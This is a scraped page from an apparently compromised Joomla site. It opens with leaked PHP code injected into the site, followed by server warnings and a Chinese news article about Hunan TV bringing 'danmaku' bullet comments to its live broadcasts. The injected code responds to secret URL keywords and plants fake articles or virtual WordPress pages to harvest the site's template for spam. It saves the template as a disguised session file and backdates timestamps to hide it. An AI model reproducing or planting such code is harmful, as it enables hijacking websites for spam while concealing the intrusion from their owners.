if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } }
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/clients/publicrelations/wwwroot/nms/includes/framework.php:97) in /home/clients/publicrelations/wwwroot/nms/libraries/joomla/session/session.php on line 413

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/clients/publicrelations/wwwroot/nms/includes/framework.php:97) in /home/clients/publicrelations/wwwroot/nms/libraries/joomla/session/session.php on line 413

Warning: Cannot modify header information - headers already sent by (output started at /home/clients/publicrelations/wwwroot/nms/includes/framework.php:97) in /home/clients/publicrelations/wwwroot/nms/libraries/joomla/session/session.php on line 416
湖南卫视引入“弹幕”直播 全面拥抱互联网
Home 新媒体前沿 湖南卫视引入“弹幕”直播 全面拥抱互联网

湖南卫视引入“弹幕”直播 全面拥抱互联网

E-mail PDF
[摘要]随着“三屏合一”时代的真正到来,互联网公司和电视台都意识到必须打通电视屏、手机屏、PC之间的互动体验。
腾讯科技 范晓东 10月12日报道
 
昨日晚间,湖南卫视在其举办的金鹰节互联盛典上,释放出全面拥抱新媒体、向互联网转型的决心。在直播过程中,湖南卫视使用了发源于互联网的“弹幕”直播互动模式,而这也是国内电视荧幕首次如此大尺度地运用“弹幕”。
源于日本Niconico的弹幕视频播放模式于2008年传至中国,近几年逐渐发展壮大。所谓弹幕,是指网站提供观赏者可在影片上留言的功能,而留言会以弹幕的形式出现在影片上。AcFun和Bilibili是中国这一领域最大的两家网站,此外还有创建于2011年但影响力相对较小的吐槽网(tucao.cc),这个网站被称为C站。
 
今年8月开始,电影《秦时明月》和《小时代3》首次把网络视频中的“弹幕”引入到国内线下电影院,在成功吸引眼球的同时也引发了不少争议。事实上,视频网站是电影院线进行弹幕多屏互动尝试的主要推动力之一,土豆和乐视影业分别是《秦时明月》和《小时代3》的出品方,都试图把源自互联网的文化更多推向线下市场。
 
土豆则是最积极推广弹幕直播的网络视频平台。今年8月的官方数据称,土豆日均弹幕数超过10万,日独立观看弹幕用户数超40万,积累的弹幕用户目前也超过百万。
 
此次湖南卫视在晚会直播中虽然没有全程使用弹幕,经过后台删选了敏感字段,但是这也印证了随着“三屏合一”时代的真正到来,互联网公司和电视台都意识到必须打通电视屏、手机屏、PC之间的互动体验。
 
可以预见的是,再接下来的综艺节目热潮中,或许有更多电视台尝试“弹幕”等互动模式。
作为传统电视台领先者的湖南卫视,是进军互联网开展新媒体业务最积极的一家电视台。
 
此前,腾讯科技曾独家报道,湖南卫视将向旗下全资子公司快乐阳光互动娱乐传媒有限公司投资10亿元人民币,扶持芒果TV、互联网电视、移动互联网等新媒体领域业务。
 
快乐阳光为湖南卫视的全资新媒体公司,运营业务包括芒果互联网电视、芒果TV手机电视等在内的多终端视频业务,并且独家拥有湖南卫视全部节目内容和品牌资源在互联网、移动互联网的开发、经营权利。
 
今年4月湖南卫视将金鹰网及芒果TV两大平台改版整合,推出全新“芒果TV“网络视频平台,并采用湖南卫视TV组合域名hunantv.com。今年5月,湖南广播电视台台长吕焕斌则对外表示,湖南卫视拥有完整知识产权的自制节目,将由“芒果TV”独播出,在互联网版权上一律不分销,以此打造自己的互联网视频平台;此外,湖南卫视全台所有频道制作的节目,决不允许擅自和外面的新媒体合作。
 
去年,湖南卫视为娱乐节目《爸爸去哪儿》开发的同名手游也取得不俗成绩,或许这也让其看到了传统电视业务以外的广阔市场。
 
湖南卫视官方消息称,其2012年推出的电视移动社交应用“呼啦”用户也早已经突破千万。这款应用能让电视观众与湖南卫视各档节目和活动、电视剧进行互动,用户群体之间也可通过参与兴趣相符的话题来组织社交活动(上海东方卫视推出的“哇啦”也是一款类似应用)。
 
值得注意的是,呼啦还新增了游戏板块,上线了自主开发的《呼啦大冒险》与《呼啦Show》等游戏,理论上也成为湖南卫视研发手机游戏的发布平台。有分析人士认为,呼啦已经开始由电视互动应用向娱乐生活平台转化。‍